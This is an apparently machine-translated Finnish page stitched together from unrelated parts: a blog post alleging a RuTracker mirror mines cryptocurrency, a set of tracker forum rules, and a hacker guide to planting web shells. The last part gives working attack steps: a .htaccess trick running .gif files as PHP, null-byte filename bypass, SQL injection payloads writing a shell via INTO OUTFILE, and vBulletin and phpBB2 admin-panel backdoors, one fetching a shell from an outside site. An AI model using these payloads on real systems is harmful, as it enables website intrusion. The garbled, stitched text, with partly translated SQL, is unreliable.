Lämminverinen profiilin php-tila. Kuoren täyttömenetelmät

Kirjoitin, että kun yrität kirjautua sisään johonkin RuTracker-peileistä, saat viestin, jonka mukaan tämä on mahdollista vain, jos annat sivuston suorittaa laskelmia tietokoneellasi, toisin sanoen louhia kryptovaluuttaa.

Sen jälkeen sain kommenteissa vihaisia ​​viestejä, että olen todella typerys ja että kuvaamani peilit eivät kuuluneet juuriseurantaan eivätkä olleet mitenkään yhteydessä itse juuriseurantaan. En pitänyt tätä kovin tärkeänä ja tuon huomautuksen kommenteissa esitin kysymyksen, mutta entä se, että peili rutracker-org.appspot.com toistaa paitsi rutrackerin virallisen verkkosivuston suunnittelun rutracker.org, mutta myös toistaa sen sisällön kokonaan. Kuitenkin vastauksena tähän kuulin, että lainaan: " Olet typerä Volokh, etkä ymmärrä mitään".

Kuten järkevälle ihmiselle kuuluu, hän alkaa miettiä seuraavia asioita: Jos he sanovat minulle, että olen hölmö, niin ehkä se on totta? Niin minäkin ajattelin, mutta kävi ilmi, että ei - tässä tilanteessa en ole hölmö. Mutta ensin asiat ensin.

Kun RuTracker-järjestelmänvalvojat alkoivat sanoa kommenteissa, että:

Meillä ei ole muita peilejä tai "lapsiprojekteja"! Kaikilla muilla juuriseuranta "klooneilla", jotka kopioivat rakennettamme ja suunnitteluamme, ei ole mitään tekemistä kanssamme, niiden käyttö voi johtaa salasanojen varkauksiin, tietokoneesi käyttöön kryptovaluutan louhintaan ja muihin ongelmiin! Maintracker on myös väärennös!!

Aloin miettiä, ehkä olin todella innostunut ja herjasin turhaan RuTrackerin tyyppejä. Okei, päätin verrata kommentteja viralliselta RuTracker-verkkosivustolta - rutracker.org ja kommentit rutracker-peilistä rutracker-org.appspot.com, joka pyysi lupaa luoda kryptovaluuttoja. Kävi ilmi, että kommentit ovat täysin identtisiä. Mutta kukaan ei usko minua, päätin ja halusin ottaa kuvakaappauksia. Mutta tämä ajatus vaikutti myös typerältä, koska... kommentit voidaan helposti poistaa ja muokata.

Paras idea oli kuvata video. Katsotaanpa, ja sitten kommentoin mitä täällä tapahtuu:

Oletko katsonut? Sanon heti, että esitän videon "sellaisena kuin se on", eli ilman editointia. Siksi se on ilman kommentteja tai puheenvuoroja. Joten selvitetään mitä täällä tapahtuu.

Aluksi loin Postilaatikko rekisteröityäksesi sivustolle rutracker-org.appspot.com. Kyllä, juuri sivustolla, joka louhii kryptovaluuttoja. Miksi siinä eikä virallisella verkkosivustolla? rutracker.org? Tosiasia on, että minulla oli tehtävänä näyttää, mitä sivustoja rutracker-org.appspot.com Ja rutracker.org yksi tietokanta, toisin sanoen nämä sivustot ovat yhteydessä toisiinsa, toisin kuin root tracker -järjestelmänvalvojat väittävät.

Kun avasin postini, avasin Tor-selain ja ladannut kolme välilehteä:

1. Virallinen verkkosivusto rutracker.org;

2. Peili RuTracker rutracker-org.appspot.com;

3. Välilehti avoimella postilaatikolla.

Tämän jälkeen RuTrackerin peiliin rutracker-org.appspot.com Rekisteröidyin (kello 00:25) ja postilaatikkooni saapui tilin aktivointisähköposti (kello 00:57). Ja tästä alkavat mielenkiintoiset tanssit, tai pikemminkin kammottavat tanssit sivuston ylläpitäjien pepujen palaessa: aktivointikoodi sisältää linkin jäljittäjän viralliselle verkkosivustolle (aika 1:00):

https://rutracker.org/forum/profile.php?mode=activate&u=43055955&act_key=nUMiXqWX19EF

Tämä linkki toimii ja johtaa suoraan viralliselle verkkosivustolle rutracker.org. Klikkaamalla linkkiä, tili luotiin peiliin rutracker-org.appspot.com aktivoitu onnistuneesti virallisella verkkosivustolla rutracker.org(Aika 1:06). Tekniikan ihmeisiin ja järjestelmänvalvojan ihmeisiin ajatuksiin. Näyttää siltä, ​​että sivuston ylläpitäjät alkavat savuta. No, okei, olen tyhmä, kuten he sanoivat, mitä minulta ottaa. Mene eteenpäin.

Kun tilini on aktivoitu onnistuneesti, menen peiliin rutracker-org.appspot.com ja yritä kirjautua sisään sivustolle (aika 1:45). Captchan syöttämisen jälkeen kirjaudun sisään onnistuneesti luodun alla tili"epävirallisella" seurantalaitteella (aika 2:03). Ja tällä hetkellä ilmestyy sama ilmoitus (Aika 2:07):

Painan "Salli"-painiketta (Aika 2:08), koska muuten en pystyisi kirjautumaan sisään. Sen jälkeen näytän, että henkilökohtainen tili on tyhjä, enkä ole vielä jättänyt kommentteja (Aika 2:20).

Nyt, näyttääkseni peilin ja virallisen verkkosivuston välisen suhteen, valitsen satunnaisen jakelun sivustolle rutracker-org.appspot.com ja jätä kommentti (Aika 3:10). Sen jälkeen virallisella verkkosivustolla rutracker.org Yritän kirjautua sisään (Aika 3:40) root tracker -peiliin luodulla tilillä. Ja katso, sisäänkirjautuminen ja salasana "epävirallisesta" peilistä tulivat viralliselle verkkosivustolle (aika 4:00). Yhteensattuma? Älä ajattele.

Mennään pidemmälle, avataan lista jäljittimeen jääneistä viesteistä ja mitä näemme: tuttu jakauma aiheluettelossa (Aika 4:05). Luultavasti myös sattuma, ja suuremman vakuuttavuuden vuoksi avaan tähän jakeluun jättämäni kommentin peiliin, jota ylläpitäjät eivät tunnistaneet (Aika 4:17).

Kommentin vertaaminen sivuston jakeluun rutracker-org.appspot.com Ja rutracker.org(Aika 5.54) ja jälleen kerran olemme vakuuttuneita, että nämä kaksi sivustoa ovat yhteydessä toisiinsa.

Mitä sivuston ylläpitäjät kirjoittivat minulle? Näyttää siltä, ​​että he vakuuttivat minut, että virallinen verkkosivusto ja peili rutracker-org.appspot.com eivät liity mitenkään toisiinsa. Seurantajärjestelmänvalvojien kommenteissa todetaan selvästi, että kaikki peilit yksinkertaisesti kopioivat sivuston rakenteen ja suunnittelun, mutta eivät ole yhteydessä toisiinsa. Kuitenkin näkemämme perusteella käy ilmi, että virallinen verkkosivusto kopioi kommentteja jostain vasemmistolaiselta peililtä? Ei, se on myös hölynpölyä. Missä on totuus? Totuus on, että näillä kahdella sivustolla on yksi tietokanta, ja siellä on monia peilejä, joista osan jäljittäjän ylläpitäjät tunnistavat, kun taas toisia ei tunnisteta ja niitä käytetään kryptovaluutan tuottamiseen.

Osoittautuu, että koko tämän ajan kommenteissa he yrittivät kaataa hölynpölyä korviini ja vakuuttaa minut siitä, että menin väitetysti täysin väärälle sivustolle, mutta itse asiassa kävi ilmi, että tämä sivusto kuuluu myös RuTrackerille.

Epäilen, että nyt jotkut ihmiset alkavat kokea viidennen pisteen tulehdusta ja heitä suihkutetaan uhkauksilla, loukkauksilla jne. Mutta ajattelin todella jo, että oli turhaa hyökätä kavereiden kimppuun, eivätkä he olleet syyllisiä mistään. Se osoittautui täysin erilaiseksi ja video on todiste siitä. Kuten kollega sanoi: RuTracker - olit minulle kuin veli.

Trackerin säännöt ja rajoitukset.

1. Yleiset määräykset ja rajoitukset
1.1. Näistä seurantasäännöistä ei voida neuvotella, ja kaikkien jäljittimessä olevien on noudatettava niitä ehdoitta. Vain Tracker-järjestelmänvalvojat saavat olla noudattamatta joitain sääntöjen määräyksiä poikkeustilanteissa.
1.2. Jäljityshallinto on ainoa ja ylin viranomainen, jossa mahdolliset seurantajärjestelmää ja sen käyttäjiä koskevat ristiriitatilanteet voidaan ratkaista. Näin ollen hallintoviranomaisten päätökset ovat lopullisia, eikä niistä voi valittaa.
1.3. Trackerin hallinto pidättää oikeuden muuttaa ja täydentää kaikkia näiden sääntöjen kohtia ilman ennakkoilmoitusta tai myöhempää ilmoitusta. Sääntöjen lisäykset ja muutokset astuvat voimaan niiden julkaisuhetkestä alkaen. Hyvän tahdon osoituksena hallinto kuitenkin yrittää mahdollisuuksien mukaan saattaa tällaiset muutokset käyttäjien tietoon.
1.4. Näiden ja muiden Tracker-sääntöjen tietämättömyys ei ainoastaan ​​vapauta vastuusta niiden rikkomisesta, vaan se on sinänsä rikkomus ja raskauttava seikka.
1.5. On kiellettyä käyttää mitään ohjelmia tietojen väärentämiseen lataamistasi ja latauksistasi. Huijarit kielletään välittömästi.
1.7. Trackerin vikojen ja virheiden käyttö henkilökohtaisiin tarkoituksiin on kielletty. Jos havaitset toimintahäiriöitä ja virheitä, sinun on ilmoitettava Tracker-hallinnolle.
2. Rekisteröityminen
Rekisteröityminen on olennainen osa seurannassa olemista. Rekisteröityminen ilmaisee automaattisesti, että hyväksyt nämä säännöt. Jos et hyväksy näitä sääntöjä, kirjoita hallinnolle.
2.1. REKISTERÖINTI ERI ULMAALAISILTA VÄLITYSPALVELIMILTA ON KIELLETTY. Rikkojat - välitön kielto!!!
Poikkeustapauksissa se on sallittua vasta sen jälkeen, kun hallinto on käsitellyt hakemuksen.
2.2. ENEMMÄN KUIN KAHDEN TILIN REKISTERÖINTI YHDELLÄ TIETOKONEELLE ON KIELLETTY. Rikkomustapauksissa kaikki olemassa olevat tilit estetään.
Uuden tilin rekisteröinti kahden olemassa olevan tilin jälkeen on mahdollista vain hallinnon suostumuksella.
3. Käsien kommentointisäännöt
3.1. Kirosanojen käyttö jakelun kommenteissa, kaikki siveetöntä sanaa ja ilmaisua, verhottuja siveettömyyksiä, myös vierailla kielillä, on kielletty.
Rangaistus: Sääntöjen vastaisten kommenttien poistaminen ja kommentointikielto 1 viikon ajaksi. Tämän säännön myöhemmästä rikkomisesta seuraa 7 päivän kielto ja 14 päivän kommentointikielto. Jatkossa kommentointikielto tulee olemaan pysyvä.
3.2. Jäljittäjiin osallistuvien loukkaaminen missään muodossa on kiellettyä. Kaikkien töykeyden, henkilökohtaisten loukkausten ja säädyllisten lausuntojen esittäminen muita osallistujia kohtaan, jotka vahingoittavat heidän mainettaan, nöyryyttävät heidän kunniaansa ja ihmisarvoaan, mukaan lukien henkilökohtaisten suhteiden julkinen paljastaminen, sekä henkilökohtaisissa viesteissä seurantajärjestelmässä että jakeluiden kommenteissa. Osallistujien tulee ylläpitää kunnioittavaa viestintää.
Rangaistus: Sääntöä rikkovien kommenttien poistaminen ja rikkojan kielto 7 päivän ajaksi. Tämän säännön myöhemmästä rikkomisesta seuraa 7 päivän kielto ja 30 päivän kommentointikielto. Jatkossa kommentointikielto tulee olemaan pysyvä.
3.3. Kaikenlaiset uhkaukset ovat kiellettyjä (virtuaaliset, todelliset ja muut uhkaukset seurantaohjelmaan osallistujia vastaan).
Rangaistus: Viestien poistaminen ja rikoksentekijän porttikielto 14 päiväksi. Jos tätä sääntöä rikotaan uudelleen, saat kuukauden pelikiellon.
3.4. Flaming (aiheen ulkopuoliset viestit, joiden tarkoitus on käynnistää kiista, sekä keskustelevien personointi), tulva (viestit, jotka eivät vastaa aihetta, eivät sisällä semanttista kuormaa tai koostuvat vain hymiöistä), offtopic (viestit, jotka eivät liity käsiteltävään aiheeseen) ovat kiellettyjä, samoin kuin kannustimet tulvimiseen, liekkiin, offtopiciin ja viestit, kuten "Apua", "Ongelma", "Mistä sinä puhut, vai?" tai "En siis ymmärrä - mistä ladata?" ja vastaavat, jotka eivät liity tähän jakeluun. Yksi kommentti voi sisältää enintään 3 hymiötä.
Rangaistus: Sääntöjen vastaisten kommenttien poistaminen ja kommentin kirjoittajan varoitus 3 päivän ajaksi. Jos tätä sääntöä rikotaan uudelleen, kommentin kirjoittajaa kielletään kirjoittamasta kommentteja 7 päivän ajaksi. Jatkossa jokaisesta rikkomuksesta myönnetään kommenttien jättämiskielto 14 päivän ajaksi ja latauskielto 14 päivän ajaksi.
3.5. Kommenteissa on kiellettyä lähettää kaupallisia viestejä, suoria tai epäsuoria mainoksia, roskapostiviestejä ja linkkejä sivuille, jotka eivät suoraan liity jakeluun.
Rangaistus: Mainosten poistaminen, kommenttien kirjoittamiskielto 7 päivän ajan ja latauskielto 7 päivän ajaksi. Toistuvasta rikkomisesta määrätään 15 päivän kommentointikielto ja 15 päivän latauskielto. Jatkossa kommentointikielto tulee olemaan pysyvä.
3.6. Kommenteissa on kiellettyä osoittaa rodullista, kansallista ja uskonnollista vihamielisyyttä, kiihottaa poliittisia puolueita, edistää terrorismia, ääriliikkeitä, huumeita, uskontoa ja muita aiheita, jotka ovat ristiriidassa yleisesti hyväksyttyjen moraalin ja säädyllisyyden lakien kanssa.
Rangaistus: Sääntöjen vastaisten kommenttien poistaminen, kommenttien kirjoituskielto 14 päivän ajan ja latauskielto 14 päivän ajaksi. Toistuvasta rikkomuksesta kielto kirjoittaa kommentteja 30 päivän ajaksi ja latauskielto 30 päivän ajaksi. Jatkossa kommentointikielto tulee olemaan pysyvä.
3.7. On kiellettyä jättää kommentteja, jotka avoimesti tai piilossa rikkovat Venäjän federaation rikoslakia, sekä viestejä, joissa kehotetaan ryhtymään laittomiin toimiin.
Rangaistus: Viestien poistaminen, kommenttien kirjoittamiskielto 14 päivän ajan ja latauskielto 14 päivän ajan. Jos rikkominen toistuu, rikoksentekijälle määrätään 30 päivän kilpailukielto. Kolmannesta rikkomuksesta - pysyvä kielto.
3.8. Jakelujen kommenteissa on kiellettyä ilmaista käyttäjien henkilötietoja, luottamuksellisia tietoja, oikeita koko nimiä, valokuvien julkaisemista, keskusteluun osallistujan henkilökohtaista tai perhesalaisuutta muodostavien yksityiselämää koskevien tietojen levittäminen ilman hänen suostumustaan.
Rangaistus: Sääntöä rikkovien kommenttien poistaminen ja suullinen varoitus jäljittäjälle. Toistuvassa rikkomuksessa kommentointikielto 7 päivän ajaksi. Jatkossa kommentointikielto on voimassa 30 päivää.
3.9. On kiellettyä lähettää kommentteihin kuvia, jotka sisältävät pornografiaa, väkivaltakohtauksia tai muita kuvia, jotka nöyryyttävät tai loukkaavat muita käyttäjiä.
Rangaistus: Sääntöjen vastaisten kommenttien poistaminen ja kommenttien lataamisen ja jättämisen kielto 7 päivän ajaksi. Toistuvissa rikkomuksissa käyttäjälle annetaan 7 päivän käyttökielto. Tulevaisuudessa - 15 päivän kielto ja pysyvä kommentointikielto.
3.10. Muun kielen kuin venäjän ja muun kuin kyrillisen kirjasimen käyttö kommenteissa on kielletty.
Rangaistus: Viestien poistaminen ja suullinen varoitus käyttäjälle tämän kohdan sääntöjen toistuvasta rikkomisesta, kommenttien kirjoittamiskielto 3 päivän ajan.
3.11. Seuraavien korostusmenetelmien käyttö viesteissä on kielletty: punainen, yli 75 % isoja kirjaimia ja fontti iso koko- Tämä on moderaattoreiden ja ylläpitäjien etuoikeus.
Rangaistus: Viestien poistaminen ja sanallinen varoitus käyttäjälle tämän kohdan sääntöjen toistuvasta rikkomisesta, kommenttien kirjoittamiskielto 7 päivän ajan.
3.12. Ylilainaaminen on kiellettyä (muiden osallistujien viestien lainaus yli kohtuullisen määrän (yli 10 riviä alkuperäisestä viestistä)).
Rangaistus: Viestin muokkaaminen ja käyttäjän suullinen varoitus tämän kohdan sääntöjen toistuvasta rikkomisesta, kommentointikielto 3 päivän ajan.
3.13. Spoilerit ovat kiellettyjä, äläkä käytä spoilereita (juonen tärkeimpien kohtien paljastaminen, joiden tietäminen voi pilata muiden katselukokemuksen, ottelun tuloksen jne.).
Jos et tule toimeen ilman spoilereita, sinun on sisällytettävä spoileri [expand] -tunnisteeseen ja laitettava "Spoileri"-merkki sen eteen.
Huomautus: “Sports”-jakeluissa on kiellettyä spoilata enintään 11 ​​kommenttia (1 sivu).
Rangaistus: Viestin muokkaaminen ja käyttäjän suullinen varoitus. Jos rikot toistuvasti tämän kohdan sääntöjä, sinua kielletään kirjoittamasta kommentteja 3 päivän ajan.
3.14. Tietoisesti vääriä tietoja sisältävien viestien julkaiseminen on kiellettyä.
Rangaistus: Sääntöä rikkovien kommenttien poistaminen ja sanallinen varoitus käyttäjälle. Jos rikot toistuvasti tämän kohdan sääntöjä, sinua kielletään jättämästä kommentteja 7 päivän ajan.
Torrent-kommenttijärjestelmä on suunniteltu:
- Ilmaise kunnioituksesi ja kiitollisuutesi antajalle,
- Esitä jokin sinua kiinnostava kysymys jakelusta,
- Raportoida mielenkiintoista tietoa jakeluun liittyen.
4. Avatareja ja allekirjoituksia koskevat rajoitukset:
4.1. Allekirjoitus:
- Enimmäiskorkeus: 100 pistettä (eli enintään neljä käyttäjäpalkkia tai kymmenen riviä tekstiä (fonttikoko 10); leveys: 750 pts).
- Allekirjoitukseen sisältyvien kuvien yhteispaino ei saa ylittää 200 kt.
- Sisältö: väkivalta, uhkaukset (demografisista, kansallisista, uskonnollisista tai poliittisista syistä), rumaa kielenkäyttöä (hävyttömyyttä, nimittelyä, töykeyttä jne.), irstailua (pornografiaa), syrjintää missä tahansa muodossa, mainonnan tekstit ja kuvat tai mainokset ovat ei-hyväksyttävää luonnetta, tämän resurssin nimien/luokkien jäljitelmiä sekä provosoivia kuvia, mm. käyttämällä natsisymboleja.
- Animaatio: voimakkaasti vilkkuvat tekstitykset ovat kiellettyjä (valvonta määrittää vilkkumisen asteen).
- Viestisi alla olevaa allekirjoitusta ei voi käyttää linkkien luomiseen verkkoresursseihin. (poikkeuksia ovat linkit sivustoille, joissa on käyttäjäpalkkeja, palveluita, kuten youtube, google jne.)
4.2. Hahmo:
- Suurin koko: 100x100 pikseliä; paino: jopa 21 KB.
- Sisältö: väkivalta, uhkaukset (demografisista, kansallisista, uskonnollisista tai poliittisista syistä), rumaa kielenkäyttöä (hävyttömyyttä, nimittelyä, töykeyttä jne.), irstailu (pornografia), syrjintä missä tahansa muodossa, huumepropaganda, kaupallinen mainonta ja mainostekstit, tämän resurssin nimien/luokkien jäljitelmät, tahallinen samankaltaisuus hallinnon jäsenten avatarien kanssa sekä provosoivia kuvia, mm. käyttämällä natsisymboleja.
- Animaatio: voimakkaasti vilkkuvat avatarit ovat kiellettyjä (valvonta määrittää vilkkumisen asteen).
Rangaistus: Allekirjoituksen ja avatarin poistaminen tai niiden käytön kieltäminen (järjestelmänvalvojan määrittelemä).
5. Julkaisut
5.1. Julkaisujen uudelleen lataaminen muille jäljittäjille on kiellettyä ilman julkaisijan henkilökohtaista lupaa. Sellaisen julkaisun jakelun tukeminen, jonka uudelleenlataus on kielletty toisella seurantalaitteella, vastaa itsenäistä uudelleenlatausta, ja siitä rangaistaan ​​kohdan 7 mukaisesti.
6. Muut
6.1. Jakelujen sisällön lataaminen tiedostojen isännöintipalveluilla, kuten vip-file, letitbit ja muut...
6.2. On kiellettyä käyttää lataushallintaohjelmia torrentien lataamiseen.
7. Rangaistus:
Kohdissa 5-6 määritellyistä rikkomuksista - 7 päivän kielto. Näiden sääntöjen toistuva rikkominen johtaa elinikäiseen pelikieltoon.

Hei %username% ja hänen ystävänsä. No, sinun on kiireesti ladattava komentotulkki sivustolle, ei koskaan tiedä, ehkä lopullinen maksu riippuu siitä. No, se ei vain onnistu. Kokosin tähän pari esimerkkiä (kiitos Tracylle ja muille tästä).

Kaada kuori kuvan läpi

Olet hakkeroinut sivuston (tietenkin olet vain testaamassa) mukautetulla admin-paneelilla... Etkä voi ladata web shelliä, mutta siellä ladataan kuvia ja ladataan vain .jpg, .gif, .png muotoja.
Mitä tässä tapauksessa voidaan tehdä?

Työnämme .gif-päätteisen kuoren johonkin kansioon, jossa on kuvia ja luomme .htaccess-tiedoston sisällön kanssa

AddType application/x-httpd-php .gif
Tämä komento suorittaa .gif-muodon php-muodossa
Yritetään avata /shell.gif

Lisäksi, jos skripti ei ole välinpitämätön rivinvaihdoille, yritämme täyttää kuoren ja samalla nimetä sen uudelleen shell.php%00.jpg, tarkista shell.php:n saatavuus, mitä jos?

Menetelmä shellin lataamiseen mysql.userin kautta whinestä

1) Selvitetään kenen alla istumme ja selvitetään myös hänen oikeudet mysql:iin.

site.com/index.php?id=1+ja+1=0+liitto+Valitse+1,käyttäjä(),3+--+
(Otetaan selvää kenen alla me istumme)
2) site.com/index.php?id=1+and+1=0+union+Select+1,file_priv,3+from+mysql.user+where+user=" käyttäjämme "+--+
(Tarkistataan käyttäjämme oikeudet. Jos se antaa virheen tulostuksen aikana, voit hexaa käyttäjämme 0x)
3) site.com/index.php?id=-1+union+select+1","3+from+mysql.user+into+outfile+" Polku tiedostoon "+--+
(Täytä minikuori)
P.S.
Jotta kaikki toimisi, sinulla on oltava kirjoitusoikeudet ja koko polku juureen.
Voit myös tarkistaa kirjoitusoikeudet seuraavasti:

site.com/index.php?id=1+and+1=0+union+Select+1" prava ",3+from+mysql.user+--+
Jos prava näkyy, sinulla on oikeudet.

Seuraava tilanne. Olemme vBulletin-foorumimoottorin hallintapaneelissa

Mennään:
Plugins & Products -> Plugin Manager -> Plugins & Products -> Plugin Manager -> [Add New Plugin]

Valitse mallit. Yleensä valitsemme faq_complete, valitsemme ja napsautamme Plugin is Active -valintaruutua, asetamme sen arvoon "Kyllä" ja tallennamme.

localhost/forum/faq.php?cmd=phpinfo();

Jos olemme tulostaneet phpinfo():n, harkitse kuorta käsissämme.

Seuraavaksi phpinfosta sinun on löydettävä koko polku foorumille (esimerkiksi /home/u0000/site.ru/www/sell.php). Seuraavaksi meidän on muutettava verkkokuorimme txt-tiedostoksi ja lähetettävä se mille tahansa verkkosivustolle
mysite.com/shell.txt
Täytä kuori komennolla

localhost/forum/faq.php?cmd=copy($_GET[a],$_GET[b]);&a=omasivusto.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Mitä tämä joukkue tekee? Se kopioi muuttujan [a] sisällön muuttujaan [b], eli shell.txt kopioidaan tiedostoon shell.php

Kotelon lataaminen IPB 3:een

Koodi:
valitse 0x3c3f706870696e666f28293b3f3e ulkotiedostoon "Z:/home/site.ru/www/uploads/shell.php"
Täysi polku voit näyttää tältä:

Järjestelmänvalvoja-> Tuki
Ylhäällä on kirjoitettu PHP-versio ja vasemmalla linkki PHPINFO:hon.

Shell tässä:
http://site.com/uploads/shell.php

Shellin lataaminen phpBB 2:een

1. Luo ex.sql-tiedosto
2. Rekisteröidy siellä

PÄIVITYS phpbb_users SET user_sig_bbcode_uid="(.+)/e\0", user_sig="phpbb:eval(stripslashes($_GET[e]));" WHERE user_id=2;
Missä user_id=2 on järjestelmänvalvojan tunnus

3. Siirry hallintapaneeliin
4. Valitse hallintapaneelista "Palauta DB" ja lataa ex.sql.
5. Suorita koodi / Täytä kuori näin

Mennään:
http://target/profile.php?mode=editprofile&e=phpinfo();
Jälkeen:
http://target/profile.php?mode=editprofile&e=faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/ site.ru/www/sell.php
Jos haluat näyttää phpinfo():n, sinun on kirjauduttava sisään.

Tämä on vain lyhyt luettelo siitä, miten ja mihin moottoreihin kuori voidaan ladata. Tarvita lisää? Tervetuloa rdotin kaverit
lataaminen foorumeille
täyttö cm:llä
Ja tässä on suosikkikuoreni, myös rdotissa))